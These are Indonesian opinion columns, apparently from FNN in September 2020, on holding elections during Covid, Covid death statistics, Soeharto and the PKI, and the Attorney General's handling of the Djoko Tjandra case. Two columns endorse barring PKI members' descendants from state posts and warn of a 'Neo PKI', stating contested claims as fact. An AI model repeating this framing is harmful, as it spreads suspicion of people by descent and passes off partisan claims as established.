kebangsaan yang konsisten berkomitmen kepada keutuhan NKRI. Penulis adalahWartawan Senior & Pemerhati Sosial Budaya.

PDIP Tak Fahami Manajemen Krisis Birokrasi Pemda

by Gde Siriana Yusuf Jakarta FNN – Senin (21/09). Sekretaris Jendral (Sekjen) PDIP Hasto Kristiyanto yang ngotot Pilkada Serentak 2020 harus tetap diselenggarakan tahun ini. Alasan Harto akan menciptakan ketidakpastian politik. Selain itu, konsekuensinya daerah dipimpin Palaksana Tugas (Plt) adalah pandangan yang tidak berdasar dan tidak empiris. Agak miris jika petinggi partai di level Sekjen tidak, bahkan dalam memahami bagaimana birokrasi daerah bekerja selama ini. Saya ingin menjabarkan tentang apa yang dibutuhkan birokrasi dalam menghadapi krisis. Yang paling utama adalah kecepatan birokrasi daerah dalam merespon krisis. Kecepatan birokrasi merespon krisis inilah yang diperlukan adanya adaptasi atas krisis yang sedang dihadapi. Misalnya, dalam hal ini pandemi Covid19. Kemudian birokrasi harus meningkatkan respon mereka terhadap krisis-krisis lain yang terjadi di masyarakat. Dengan demikian birokrasi daerah perlu di setup ulang untuk menjalankan dua tugas sekaligus, yaitu pelayanan masyarakat yang rutin dan mengatasi pandemi. Tentu ini bukan pekerjaan yang mudah. Apalagi terkait dengan sumber daya manusia, pengalaman dan anggaran. Birokrasi sebenarnya telah memiliki nilai (value) dan ketahanan (resilience) yang dapat mempengaruhi kemampuan birokrasi beradaptasi dengan tantangan krisis untuk kinerja dan efiesiensi. Dalam praktek rekrutmen kepala daerah misalnya, realitasnya pengaruh kepala daerah secara politik dalam birokrasi hanya sebagai pemimpin yang memberi visi bagi pembangunan daerah. Sedangkan menurut Undang-Undang Nomor 23/2014, tugas kepala daerah antara lain memimpin pelaksanaan Urusan Pemerintahan yang menjadi kewenangan Daerah. Tugas yang sesuai dengan ketentuan peraturan perundang-undangan dan kebijakan yang ditetapkan bersama DPRD. Tugas kepala daerah lainnya adalah memelihara ketenteraman dan ketertiban masyarakat. Menyusun dan mengajukan Rancangan Peraturan Daerah (Raperda) tentang Rencana Pembangunan Jangka Panjang daerah (RPJPD) dan Rperda tentang RPJMD kepada DPRD untuk dibahas bersama DPRD. Selain itu, kepala daerah menyusun dan menetapkan (Rencna Kerja Pembangunan Daerah) RKPD. Menyusun dan mengajukan rancangan Perda tentang RPJPD dan rancangan Perda tentang RPJMD kepada DPRD untuk dibahas bersama DPRD, serta menyusun dan menetapkan RKPD. Dari uraian di atas, jelas bahwa tugas kepala daerah itu untuk memimpin. Yaitu memimpin birokrasi yang telah lama ada, agar berjalan dengan sistematis. Ibarat supir menjalankan bus yang masih laik jalan. Bukan menjalankan bus yang mogok. Sebenarnya dalam kondisi khusus, siapapun supirnya bus tetap akan bisa jalan. Begitu juga birokrasi. Agar tetap berjalan baik, meski dipimpin Plt karena telah dipagari oleh UU dan peraturan lainnya. Apalagi jika Plt yang ditugaskan berasal dari Kemendagri yang tentunya sudah sangat paham karakter birokrasi di masing-masing daerah. Lalu apa yang masih kurang dari birokrasi saat krisis pandemi ini? Dalam proses penyesuain terhadap krisis, seringkali terjadi deviasi. Dalam hal ini sinergisitas dan konsistensi dengan pemerintah pusat. Ini tentu saja dapat memperlambat respon terhadap krisis. Bahkan dapat menimbulkan kebingungan dalam sistem birokrasi. Hasilnya sudah jelas yaitu inefketifitas dan inefisiensi. Yang paling urgen saat ini adalah kembali fokus pada krisis dan menjalankan apa yang seharusnya dilakukan. Misalnya, mekanisme yang lebih responsif dalam koridor tata kelola pemerintahan daerah yang berlaku. Lalu apa masalah-masalah yang timbul ketika Pilkada dilaksanakan dan terbentuk rezim baru di Pemda saat krisis? Pertama, selama proses Pilkada para ASN daerah kehilangan fokusnya terhadap pandemi. Setidaknya terpecah bakal. Kedua, kepala daerah terpilih perlu menyesuaikan diri lagi dengan persoalan pandemi. Juga dalam hal kordinasi dengan bawahannya. Ketiga, fokus kepala daerah pun terpecah dengan tugas-tugas lain yang berkaitan dengan DPRD seperti anggaran dan Perda. Mungkin bisa saja kepala daerah baru membawa perspektif baru dalam menghadapi pandemi. Namun tetap saja efektifitasnya akan ditentukan bagaimana koordinasi dan implementasinya. Itu masih butuh penyesuaian lagi antara ASN dan kepala daerah baru. Terakhir, saya ingin mengingatkan PDIP juga bahwa sudah banyak lembaga internasional yang mengeluarkan "policy brief on elections during Civid19". Isinya tentu saja untuk mengingatkan dan mempertimbangkan resiko dan ancaman dalam pelaksanaan Pemilihan selama pandemia, yaitu ancaman peningkatan penularan Covid. Selain itu, saya juga ingin mengingatkan bahwa persoalan kualitas Pilkada itu sendiri, yaitu potensi ketidak hadiran pemilih saat pencoblosan karena takut Covid. Ini untuk pemilih yang tidak peduli siapa terpilih, asalkan dapat uang di tengah kesulitan ekonomi (wani piro). Bung Hasto, ini bukan lagi soal pro pemerintah atau oposisi. Juga bukan soal kampret cebong. Ini soal moral dan akal sehat kita yang katanya punya falsafah Pancasila. Dimana nalarmu ketika korban berjatuhan, kau bikin pesta demokrasi berjudul Pilkada? Tengoklah wajah petugas medis dan pemakaman yang bekerja sudah melampaui batas. Benar tidak ada yang tahu kapan Covid berakhir. Bisa saja jika Pilkada diputuskan ditunda, ternyata bulan depan Covid berakhir. Tapi itu pun tak perlu menyalahkan pihak lain. Setidaknya bung Hasto sudah menunjukkan empati kepada para petugas medis, petugas makam, korban meninggal dan masyarakat yang masih sakit. Karena saat ini, itulah yang diperlukan untuk menyatukan perspektif kita semua untuk bersama melawan Covid19. Wassalaam. Penulis adalah Komite Politik & Pemerintahan KAMI .

Abrakadabra! Penanganan Covid-19 Indonesia Terbaik di Dunia!

by Hersubeno Arief Jakarta FNN – Senin (21/09). Tak lama lagi, Indonesia akan segera dinobatkan sebagai negara terbaik di dunia dalam penanganan Covid-19. Tingkat kematian (case fatality rate) Indonesia sangat rendah. Bisa jadi terendah di dunia. Padahal sebelumnya tingkat kematian akibat Covid-19 di dunia, selalu berada di peringkat atas. Bahkan di atas Amerika Serikat. Kemajuan dahsyat Indonesia dalam penanganan Covid-19 itu berkat jasa Gubernur Jawa Timur Khofifah Indar Parawansa. Bersama dengan delapan orang kepala daerah lainnya, Senin (14/9) Khofifah diundang Menko Maritim dan Investasi Luhut Panjaitan melakukan rapat koordinasi secara virtual. "Presiden perintahkan dalam waktu dua minggu kita harus bisa mencapai tiga sasaran, yaitu penurunan penambahan kasus harian, peningkatan recovery rate (tingkat kesembuhan) dan penurunan mortality rate (tingkat kematian)," kata Luhut dalam keterangan tertulis Selasa (15/9). Khofifah yang sejak lama dikenal sebagai orang dekat Luhut, bergerak cepat dan sigap. Jauh lebih cepat dibandingkan kepala daerah lainnya. Termasuk bila dibandingkan dengan Gubernur DKI Anies Baswedan. Padahal Anies selama ini dinilai paling sigap menangani Covid-19. Hanya selang sehari kemudian, Khofifah segera menyurati Menkes Terawan. Khofifah mengusulkan klasifikasi pelaporan kasus kematian karena Covid-19 diubah. Alasannya, klasifikasi kematian dalam Peraturan Menkes tidak jelas. Terlebih lagi tidak sesuai dengan kriteria yang ditetapkan lembaga kesehatan dunia WHO. "Kalau WHO itu ada dua. Jadi death with Covid-19, atau death cause due Covid-19. Yang mau dilaporkan itu yang mana,” ujar Ketua Rumpun Kuratif Satgas Penanganan Covid-19 Jatim, dr. Joni Wahyuhadi dalam perbincangan dengan CNNIndonesia (17/9). Menurut Joni, kasus kematian Covid-19 perlu diklasifikasikan menjadi dua kelompok. Yakni kematian dengan Covid-19, yang ini disertai dengan komorbid alias penyakit bawaan. Satu, dan kematian karena Covid-19. Hal itu sebagaimana pedoman WHO. Jika hal itu dilakukan, Joni yakin, angka kematian di Jatim akan turun. Dari total 2.922 kasus kematian atau 7,31 persen case fatality rate di Jatim, sebanyak 91,1 persen di antaranya meninggal karena komorbid. Dahsyat! Selama ini Jatim tercatat sebagai provinsi dengan tingkat kematian tertinggi. Jika usulan Khofifah ke Menkes ini disetujui, dan nampaknya akan segera disetujui, maka datanya akan berubah total. Angka kematian karena Covid-19 di Jatim akan turun drastis. Bila menggunakan data yang disodorkan Joni. Kanya sekitar 0,09 persen. Rendah banget! Jadi Provinsi Jatim bisa kembali panen penghargaan. Sebelumnya Jatim pernah mendapat penghargaan dari Kementerian Agama karena melakukan pendekatan menggabungkan sains dan spiritual dalam menangani Covid. Penghargaan yang mendapat banyak cibiran. Diberikan pada saat Jatim secara konsisten prosentase angka kematiannya selalu tertinggi. Bukan hanya Jatim yang datanya berubah. Secara keseluruhan data kematian di Indonesia juga berubah total. Usulan Khofifah membuat Luhut hanya memerlukan waktu kurang dari sepekan untuk menekan angka kematian karena Covid. Jauh Lebih cepat dari target yang diberikan Presiden Jokowi selama dua pekan. Hebaaattt…. khan? Otak-Atik Angka Statistik Apa yang diusulkan oleh Khofifah, adalah upaya mengotak-atik angka statistik. Tidak mengubah fakta jumlah kematian sebenarnya. Berdasarkan data statistik Johns Hopkins University Medicine Kamis (17/9) Indonesia termasuk jawara baik dalam penyebaran maupun tingkat kematian. Dalam sisi penyebaran, dari 188 negara, Indonesia menempati peringkat 23. Sementara angka kematian mencapai 9.222 jiwa. 0,97 persen dari angka kematian secara global yakni 941.862 jiwa. Dengan jumlah angka kematian tersebut Indonesia menempati urutan ke-20 terbanyak dari keseluruhan negara yang terpapar virus corona. Usulan Khofifah ini seperti merias wajah seorang korban yang meninggal. Tampak cantik, tampan, namun tidak mengubah fakta bahwa dia sudah mati. Implikasinya bisa sangat serius. Pemerintah bisa menyimpulkan dan mengumumkan, corona sama sekali tidak berbahaya. Yang berbahaya adalah penyakit bawaan (komorbid). Masyarakat bisa menjadi abai, dan meremehkan. Apalagi mereka yang merasa sehat dan tidak punya penyakit bawaan. Pemerintah juga mendapat justifikasi untuk membatalkan PSBB. Kembali membuka aktivitas bisnis, pasar, mall, perkantoran, tempat-tempat pariwisata dan hiburan, penerbangan, publik transportasi, dan semua sektor publik yang selama ini ditutup. Pilkada serentak juga bisa terus berjalan. Tak peduli banyak desakan dari berbagai kalangan agar ditunda. Toh kematian karena Covid tidak berbahaya. Yang penting tidak punya penyakit bawaan. Cara pejabat berpikir dan mengambil kesimpulan seperti Khofifah adalah cermin dari pemerintah Indonesia dalam menangani Covid. Memandang remeh dan enteng masalah kesehatan. Tetap lebih mengutamakan kepentingan korporasi dan para taipan. Buku klasik yang ditulis Darrell Huff (1954) How to Lie With Statistics ternyata terus berlaku sepanjang zaman. Selamat datang di negeri Abrakadabra!!! End Penulis adalah Wartawan Senior FNN.co.id.

Tanpa Peran Soeharto, Indonesia Jadi Negara Komunis

by Basir Al-Haddad Jakarta FNN – Senin (21/09). Nasakom adalah sebuah gagasan populer yang tak pernah dilupakan oleh sejarah di Indonesia. Nasakom singkatan dari Nasionalis, Agama dan Komunis. Penggagasnya adalah Presiden Soekarno. Memang terkesan aneh. Indonesia berideologi Pancasila dengan sila pertama Ketuhanan Yang Maha Esa. Beda dengan komunisme, sebuah ideologi trans-nasional anti terhadap Tuhan Yang Esa, pernah diberi ruang untuk hidup di negara Pancasila. Ada kesan dipaksakan. Pancasila itu dasar utamanya Ketuhanan, sementara komunis itu anti Tuhan. Dua ideologi yang bertolak belakang antara langit dan bumi. Tidak bisa menyatu, tetapi dipaksakan untuk bersatu. Pada akhirnya, tak bisa bersatu juga. Tahun 1948 Partai Komunis Indonesia (PKI) melakukan pemberontakan. Tetapi gagal. Tahun 1965, dimana presiden Soekarno sakit-sakitan dan dianggap sudah mulai uzur, PKI mengulang lagi pemberontakan yang kedua kalinya. Dalam pemberontakan kali ini, sejumlah Jenderal Angkatan Darat yang selama ini dianggap menentang PKI dibantai. Mereka dibunuh dan mayatnya di buang kedalam sumur di Lubang Buaya. Lepas dari kontroversinya, terlalu banyak bukti dan saksi-saksi terpercaya ,yang membenarkan sejarah pemberontakan dan kekejaman PKI. TNI dan umumnya umat Islam meyakini kebenaran peristiwa ini. Walaupun ada juga yang berkeinginan untuk mengaburkan fakta pembrontakan itu. Dalam waktu yang tak begitu lama, tampillah seorang Mayor Jenderal Soeharto, Pangkostrad saat itu, yang tak diperhitungkan oleh PKI. Dalam situasi nasional yang kacau balau, Soeharto mendapat mandat dari Soekarno untuk mengatasi dan menormalkan kembali situasi keamanan nasional saat itu. Mandat itu kemudian dikenal dengan Supersemar. Langkah paling penting yang ditempuh Soeharto adalah membubarkan PKI. Meski Soekarno seperti merasa kecolongan. Langkah pembubaran PKI itu, di kemudian hari ditindaklanjuti dengan keluarnya TAPMPRS No 25 Tahun 1966. Inti dari TAP MPRS itu adalah tidak memberi ruang kepada paham Komunisme, Marxisme dan Leninisme hidup di Indonesia. Artinya, PKI dimatikan. Tanggal 12 Maret 1967, ketika Soeharto diangkat menjadi presiden melalui sidang MPRS, ia kemudian membuat keputusan fundamental. Soeharto melarang seluruh keluarga, anak turun dan semua yang memiliki hubungan dengan PKI menjadi bagian dari pengelolaan negara. Mereka tak boleh menjabat apapun di negara ini. Tidak boleh jadi presiden, tentara, polisi, PNS, pemimpin daerah, anggota DPR dan semua jabatan kenegaraan lainnya. Atas keputusan tegas, konsistensi dan kebijakan yang diambil Soeharto sebagai kepala negara saat itu, telah berhasil mematikan peran PKI. Dengan didukung oleh TNI, terutama Angkatan Darat, maka Soeharto betul-betul membuat PKI tiarap. Satu generasi PKI mati. Pada masa Orde Baru berkuasa, PKI tidak bisa bernapas. Seluruh keluarga, anak cucu dan kelompok yang pernah punya hubungan dengan PKI terpantau. Soeharto sukses mengebiri seluruh kekuatan PKI serta pengikut-pengikutnya. PKI tidak bisa bergerak apa-apa. Dengan kata lain, Soeharto berhasil menyelamatkan Pancasila dari PKI yang berupaya menggantinya dengan komunisme. Jika PKI bilang bahwa komunisme itu pro Pancasila, atau tidak bertentangan dengan pancasila, secara ideologis itu tidak bisa diterima akal. Karena Pancasila berbasis pada Ketuhanan Yang Maha Esa, sementara yang komunisme itu anti Tuhan. Jika konsep "Tri Sila dan Eka Sila" ingin ditawarkan di Indonesia, maka harus memiliki arti Ketuhanan Yang Maha Esa. Diambil dari Sila pertama Pancasila. Bukan gotong royong atau yang lain. Sebab "Tri Sila dan Eka Sila" yang berujung di gotong-royong, maka itu jelas ngaco, ngawur dan bebal terhadap Pancasila. Pancasila menjadi tempat bersemai semua agama dan pemeluknya di Indonesia. Sementara PKI tak bisa hidup dalam satu ideologi dengan masyarakat yang beragama. Akan selalu terjadi benturan ideologis. Pemberontakan Tahun 1948 dan Tahun 1965 adalah bukti benturan ideologis yang dibungkus dan dinarasikan dalam perebuatan kekuasaan politik. Pemberontakan PKI ini sesuai dengan fitrah komunisme yaitu revolusi. Kalau boleh kita berandai, jika tanpa Soeharto yang dengan sangat tegas dan disiplin menjaga Pancasila dari ancaman PKI selama 32 tahun masa kekuasaannya, mungkin Indonesia sudah menjadi negara komunis. Kesimpulan ini tentu tidak terlalu berlebihan. Mengingat PKI pernah menjadi partai besar. Mempunyai kekuatan sosial dan dukungan internasional, serta memiliki pendukung yang solid dan militan. PKI juga punya pasukan berani mati. Jika PKI terus dibiarkan bergerilya. Apalagi pada akhirnya berhasil menguasai Indonesia, dengan cara revolusi, maka Indonesia bukan hanya berideologi Nasakom, tapi akan jadi negara komunis. Disinilah langkah tegas Soeharto terhadap PKI sangat tepat. Situasi obyektif saat itu memang menghendaki untuk diambil ketegasan seperti itu. Lepas dari apapun kekurangan dan kelebihan. Pro-kontra terkait kekuasaan Orde Baru, namun Soeharto adalah orang yang paling berjasa menyelamatkan Indonesia dan Pancasila dari bahaya komunisme. Jasa Soeharto itu fakta. Juga nyata terjadi. Dapat disaksikan dqan dibaca. Setelah Pancasila selamat, agama terjamin hidupnya di Indonesia, akankah kita beri peluang PKI bangkit kembali? PKI bangkit dengan cara membuat stigma negatif terus-menerus terhadap Soeharto dan Orde Baru? Ini namanya bangsa yang nggak tahu berterima kasih. Penulis adalah Pemerhati Indonesia.

Gila, Sejarah Penghianatan PKI Akan Dihapus?

by M. Rizal Fadillah Jakarta FNN – Ahad (20/09). Wacana penghapusan pelajaran sejarah di Sekolah Menengah Kejuruan (SMK) dan menjadi pilihan di Sekolah Menengah Atas (SMA) oleh Kementrian Pendidikan dan Kebudyaan (Kemendikbud) mengemuka. Tidak jelas apa yang menjadi motif dan argumennya. Hanya saja yang ramai di Medsos adalah kekhawatiran adanya upaya menghapus sejarah kelam Partai Komunis Indonesia (PKI) serta serangkaian pemberontakannya. Pembrontakan PKI mau dianggap sesuatu yang tidak pernah ada. Kalau benar, makaini rencana gila. Setelah sejarah Islam di Madrasah berhadil dibuldozer oleh kebijakan Kementerian Agama (Kemenag), kini giliran Mendikbud melakukan langkah yang serupa. Mengingat tidak adanya visi dan misi Menteri, maka kebijakan mendasar seperti ini tentu menjadi tanggungjawab Presiden. Di tengah eskalasi penyusupan faham komunisme dan bangkitnya Neo PKI, maka diskursus penghapusan pelajaran sejarah dalam program penyederhanaan kurikulum Sekolah Lanjutan Atas (SLA), akan menjadi isu yang sensitif. Akhir-akhir ini penayangan film G 30 S PKI pun menjadi pro dan kontra. Rezim Jokowi memang kurang peduli dengan kekhawatiran masyarakat terhadap keberadaan Neo PKI. Termasuk upaya pengembangan faham Komunisme. Keresahan publik direspon dingin oleh Pemerintah. Tidak ada sedikitpun "warning" bahaya atau ancaman Komunisme. Hal ini menjadi sinyal bahwa pemimpin memang tidak sedang memikirkan rakyatnya. Sejarah penghianatan PKI mesti diajarkan kepada anak-anak didik. Dari generasi ke generasi. Tidak boleh dihapus begitu saja. Kekejian fitnah dan adu dombanya harus diketahui generasi muda. Kepura-puraan dalam membela Pancasila harus menjadi pelajaran utama. PKI mahir dalam menyusup ke elit kekuasaan. Sekelas Presiden Soekarno pun dapat tersentuh dan terpengaruh. Soekarno mati-matian berjuang agar PKI masuk Kabinet Ali Satro Amidjojo pasca Pemilu 1955. Memaksa membentuk Kabinet Gotong Royong. Menggunakan otoritas dan wibawanya untuk membentuk Front Nasional menuju Nasakom. PKI ditarik menjadi bagian dari pilar kekuatan bangsa. Sejarah mencatat pidato Soekarno saat HUT PKI bulan Mei 1965 dengan judul "Subur subur suburlah PKI". Anak Sekolah Menengah tingkat Atas tidak boleh didoktrin "menghafalkan kategori-kategori" seolah-olah PKI adalah korban pembantaian. PKI diperlakukan dengan zalim. PKI adalah sasaran fitnah, atau komunisme faham yang layak hidup. Doktrin seperti itu penuh dengan kepalsuan dan kebohongan dalam rangka mengelabui generasi muda. Anak atau cucu PKI berada dimana-mana. Baik itu birokrasi atau parlemen. Menjadi pengusaha atau mungkin rohaniawan. Mereka potensial untuk membangkitkan spirit perjuangan orang tua atau leluhurnya. Apalagi dengan dukungan penuh Partai Komunis Cina, yang terasa semakin akrab saja dengan istana dan partai berkuasa. Bahaya bangkit Neo PKI dan Komunisme jangan diremehkan. Fenomena pelecehan agama yang semakin marak, isu radikalisme umat beragama, hingga RUU HIP dan BPIP adalah tanda kebangkitan komunisme itu. Sejarah penyusupan dan pemberontakan PKI tahun 1926, tahun 1948, dan tahun 1965 adalah bukti bahwa PKI dan Komunisme itu selalu gigih dalam berjuang. Pengulangan adalah hukum yang absolut. Pak Menteri, jangan hapus pelajaran sejarah Penghianatan PKI dari kurikulum SMK dan SMA, karena menghapus artinya membodohi generasi muda. Membuka peluang bagi pemutarbalikkan fakta sejarah. PKI yang penghianat dicitrakan sebagai korban. TNI dan umat Islam yang menjadi korban dipropaganda sebagai penindas. PKI memang pandai menipu. Sekarang buktinya. Menjelang mengenang sejarah hitam bangsa akibat penghianatan G 30 S PKI, maka Presiden sebaiknya berpidato resmi. Gumanakan mimbar bagus dan pemnting di Istana Kepresiden itu untuk meminta agar rakyat selalu waspada akan bangkitnya Neo PKI dan Komunisme. Bila tidak berbuat dan masa bodoh, atau bahkan sampai menyatakan bahwa PKI itu tidak ada . PKI tidak mungkin tumbuh kembali, maka jangan salahkan jika rakyat yang mungkin saja meragukan kebersihan dirinya dari pengaruh PKI dan Komunisme tersebut. Sejarah merupakan bukti dari suatu perbuatan yang membangun atau menghancurkan. PKI dan Komunisme adalah musuh agama, tentara, dan ideologi Pancasila. Musuh dari seluruh rakyat Indonesia. Ingat dan pahami itu baik-baik. Penulis adalah Pemerhati Politik dan Kebangsaan.

Jaksa Agung ST. Burhanuddin Sebaiknya Mundur (Bagian-3)

by Kisman Latumakulita Jakarta FNN – Sabtu (19/09). Kata Direkur Penyidikan Jaksa Agung Muda Pidana Khusus (Jampidsus) Kejagung, Febrie Adriansyah, dalam dokumen proposal yang didapatkan tim penyidik, ada sosok berinisial DK. Nama ini diduga berkaitan dengan upaya pembebasan Djoko Tjandra saat masih berstatus sebagai buronan. Tetapi Pak Direktur Penyidikikan ini mengakui "kami enggak tahu identitas DK. Yang jelas DK itu ada data. Makanya kami lagi cari”. DK ini siapa? Namun sejauh ini, kata Febrie Jum’at kemarin, Pinangki belum mengungkapkan sosok tersebut (CNN Indonesia 11/09/2020). Siapa itu DK? Febrie menyebut belum mengetahuinya secara pasti. Sehingga tim penyidik Kejaksaan sedang mencari berbagai informasi soal sosok tersebut. "Nah justru kita cari siapa, belum dapat (Inews.com 11/09/2020). Informasi soal dugaan keterlibatan DK pertama kali disebutkan oleh koordinator Masyarakat Antikorupsi Indonesia (MAKI) Boyamin Saiman. Ada lima inisial yang disebut terlibat dalam proposal pengurusan fatwa Mahkamah Agung untuk Djoko Tjandra. "Untuk itu, KPK perlu mendalami berbagai inisial yang diduga sering disebut oleh PSM, ADK, dan JST dalam rencana pengurusan fatwa yaitu T, DK, BR, HA, dan SHD", “kata Boyamin. Transfer uang tersangka jaksa Pinangki Malasari ke rekening Grace Veronica Sompie, terungkap senilai Rp 20 juta. Direktur Penyidikan Jamidsus Febrie Adriansyah mengatakan, transaksi Pinangki dengan putri mantan Dirjen Imigrasi Ronnie Sompie tersebut, terkait dengan jual beli souvenir via toko daring (Republika, 10/9/2020). Boyamin, Bos MAKI ini pada kesempatan lain juga mengajukan fakta baru yang dia peroleh. Ada sosok “king maker” dalam komunikasi Jaksa Pinangki Sirna Malasari (PSM) dan seorang bernama Rahmat saat menemui Djoko Tjandra. Kata “King Maker” mengetahui proses-proses itu. Ketika Pinangki pecah kongsi dengan Anita (Anita Dewi Kolopaking), dan hanya mendapatkan rezeki seakan-akan Anita dari Djoko Tjandra. Maka “King Maker” ini berusaha membatalkan dan membuyarkan Peninjauan Kembali (PK) itu, sehingga terungkap di DPR segala macam, kalau “King Maker” di belakang itu semua," ujarnya (republika.co.id 18/0/2020) Tidak itu saja. Boyamin Saiman juga sudah menyerahkan fakta baru ke KPK. Fakta itu menerangkan tentang adanya istilah “bapakmu dan bapakku” dalam percakapan Jaksa Pinangki dengan Anita Kalopaking (Sindonews, 16/9/2020). Cukup bagus Kejaksaan Agung merespons nama-nama inisial di atas. Hebat sekali. Sebab Ali Mukartono, sang Jaksa Agung Muda Tindak Pidana Khusus ini yang turun tangan sendiri untuk meresponnya. Responnya itu berstandar sebagai penyidik tulen. “Selama itu tidak ada kaitannya dengan pembuktian, untuk apa? “kata Tuan Ali, sang Jampidus ini. Kalau ada pembuktian, baru. Kalau hanya bapakku bapakmu, apa hubungannya dengan pembuktian?” (Republika, 19/9/2020). Top markotop tuan Ali Mukartono. Jawaban Tuan Ali Mukartono ini membuat beta teringat putusan Hakim Syuraih atas kasus yang diajukan oleh Sayidina Ali Bin Abu Thalib radiallahu anhu. Sayidina Ali mengklaim baju besi yang ada dalam penguasaan seorang Yahudi adalah miliknya. Syuraih diminta Sayidina Ali radiallahu anhu untuk memutuskan perkara itu. Sayidina Ali menjadi pemohon mengajukan dua orang sebagai saksi membuktikan tuduhannya. Tetapi kedua saksi itu tidak memenuhi syarat. Satu adalah anaknya sendiri Sayidina Hasan Bin Ali radiallahu anhu, dan satu lagi adalah pembantunya. Alhasil Sayidina Ali radiallahu anhu yang juga Khalifah dan Kepala Negara tersebut tidak dapat membuktikan tuduhannya. Akhirnya hakim Syuraih menjatuhkan putusan bebas untuk si yahudi. Kepada Tuan Ali Mukartono yang Jampidsus itu, beta mau bertanya. Begini pertanyaan beta. Atas alasan apa tuan punya penyidik memeriksa itu anak mantan Dirjen Imigrasi? Ini anak tidak terungkap namanya dalam percakapan antara Jaksa Pinangki dan Anita, tetapi tuan Ali Mukartono punya penyidik tetap periksa Grace Veronica Sompie. Kenapa itu wahai Tuan Ali Mukartono? Tuan akan bilang karena penyidik punya data. Data apa itu Tuan Ali Mukartono? Pasti Tuan Ali bilang data aliran uang kan? Faktanya aliran uang adalah transaksi. Logiskah itu tuan? Kalau beli barang orang, ya harus dibayar dong. Caranya bisa melalui transfer. Soalnya adalah, darimana saja fakta duit-duit itu tuan dapatkan? Tuan dapati fakta itu, beta yakin, setelah tuan-tuan mengembangkan berbagai rumors di tengah masyarakat. Rumor itu intinya berputar pada kasus ini ada duit sekitar U$ 500.000 dolar. Setara dengan tujuh miliar rupiah. Ini yang menjadi dasar pengembangan penyidikan kan? Tuan Ali Mukartono, beta yakin Tuan itu sangat jujur. Tetapi beta tidak tahu apakah orang lain menertawakan keyakinan beta, apa ini benar atau tidak? Mengapa? Pengakuan mantan Jamintel Jan Samuel Maringka kepada Komisi Kejaksaan, itu merupakan pengembangan dari rumors bahwa ada petinggi Kejaksaan Agung berkomunikasi dengan Djoko Tjandra. Memang pengakuan Jan Maringka itu tidak diberikan kepada penyidik kasus Jaksa Pinangki. Pengakuan itu diberikan kepada Komisi Kejaksaan pada waktu mereka memeriksa Jan Maringka. Alhasil rumors-rumors dalam kasus ini, sebagian telah terverifikasi. Benar adanya, bukan hanya bualan. Begitu Tuan Ali Mukartono. Tuan Ali Mukartono, tuan itu kan hebat, dan top. Punya jabatan top. Masa tuan tidak mempunyai insting sebagai profesional? Apa Tuan Ali mau isoloasi orang tertentu di kasus ini? Sehingga tuan mengabaikan rumors itu? Beta mau pesan sama Tuan Ali, bahwa tuan musti tahu, Boyamin itu firm dengan datanya. Data itu dia serahkan ke KPK lho. Dia malah desak KPK periksa nama-nama itu. Dia tidaki main-main. Tetapi beta tidak heran. Itu karena petinggi korporasi yang akan ditanam saham untuk proyek Power Plant, kan juga tidak ditelusuri penyidik. Jadi lagi-lagi, beta tidak heran. Jaksa Agung, yang mantan Jamintel Jan Maringka sebut memberi perintah padanya untuk menemukan Djoko Tjandra, kan tidak Tuan periksa juga? Jadi betul-bertul beta tidak heran. Beta lebih tidak heran lagi. Karena respon Tuan yang beta nilai tidak logis itu, ternyata tidak ditegur oleh Jaksa Agung. Tuan Jaksa Agung juga tutup mulut saja. Mungkin saja Jaksa Agung ST. Burhanuddin malah senang, sehingga tidak mempertanyakan pernyataan Tuan Ali Mukartono yang beta nilai tidak logis itu. Tuan Jaksa Agung malah tidak punya suara sama sekali mengenai kasus ini. Beta anggap ini juga aneh. Penuh dengan tanda tanya (?????). Menurut beta, Tuan Jaksa Agung harus menegur Tuan Ali Mukartono, karena Jaksa Agung adalah penanggung jawab tertinggi segala hal-ihwal yang terjadi dalam penyidikan dan penuntutan. Penanggung jawab tertinggi itu, bahasa formalnya. Bahasa umum kan bilang bahwa Jaksa Agung adalah kompas bagi seluruh Kejaksaan. Nafas dia menjadi ruh Kejaksaan diseluruh republik ini. Dia menjadi orang paling top di dunia Kejaksaan. Malah dunia hukum. Ternyata cuma begini penampilannya. Payah juga Jaksa Agung saat dijabat oleh ST. Burhanuddin. Tuan ST. Burhanuddin dan Tuan Ali Mukartono, anda berdua kan hebat. Kasus Jaksa Pinangki itu segera disidangkan di pengadilan. Penyidikannya super kilat. Penelitiannya juga super kilat. Hueebaatt seekalee. Top dan markotop. Lebih markotop lagi kalau disidangkan bersamaan dengan tersangka yang adalah kader atau mantan kader Partai Nasdem Andi Irfan Jaya itu. Top deh. Hanya benginikah prestasi Jaksa Agung menangani kasus ini? Maaf akal sehat beta bilang tidak begitu. Ini kasus sebagai kasus gagal. Malah bisa dibilang sangat jorok, karena begitu banyak fakta yang tercecer. Yang logis tiak dijadikan titik tindak. Malh menjadi logis. Lebih jauh lagi dibiarkan begitu saja, dengn alasan fersi Tuan Ali Mukartono. Suka-suka Tuan Ali sajalah. Akhirnya beta mau tanya sama Tuan ST. Burhanuddin, Jaksa Agung yang mulia, dan boleh saja dijawab oleh Jampidsus Tuan Ali Mukartono. Apa pandangan Tuan Jaksa Agung terhadap temuan penyelidik Kepolisian bahwa Kebakaran di Gedung Kejaksaan Agung bukan karena korsleting listrik? Apakah itu kecorobohan dari kuntilanak atau gondoruwo? Apa kuntilanak dan gondoruwo bergentanyangan di gedung Kejaksaan Agung pada hari libur? Mana ada kuntilanak dan gondoruwo yang sehebat itu? Bisa punya akal dan kehendak dengan sangat sadar. Datang bergentayangan di gedung Kejaksaan Agung, tepat ketika Kejaksaan sedang membongkar kasus yang melibatkan orang Kejaksaan Agung? Apa kuntilanak dan gondoruwo juga punya akal dan kehendak mau mempersempit kasus ini? Ah kuntilanak dan gondoruwo mana yang tahu hukum. Penyidik Bareskrim Polri dibawa komando Sigit, jendral bintang tiga ini akan memastikannya. Akhirnya beta mau tanya kepada Tuan Jaksa Agung ST. Burhanuddin, kapan Tuan mundur? Masih bersambung. Penulis adalah Wartawan Senior FNN.co.id.

Pak Presiden Kok Tiba-tiba Jadi Luhut?

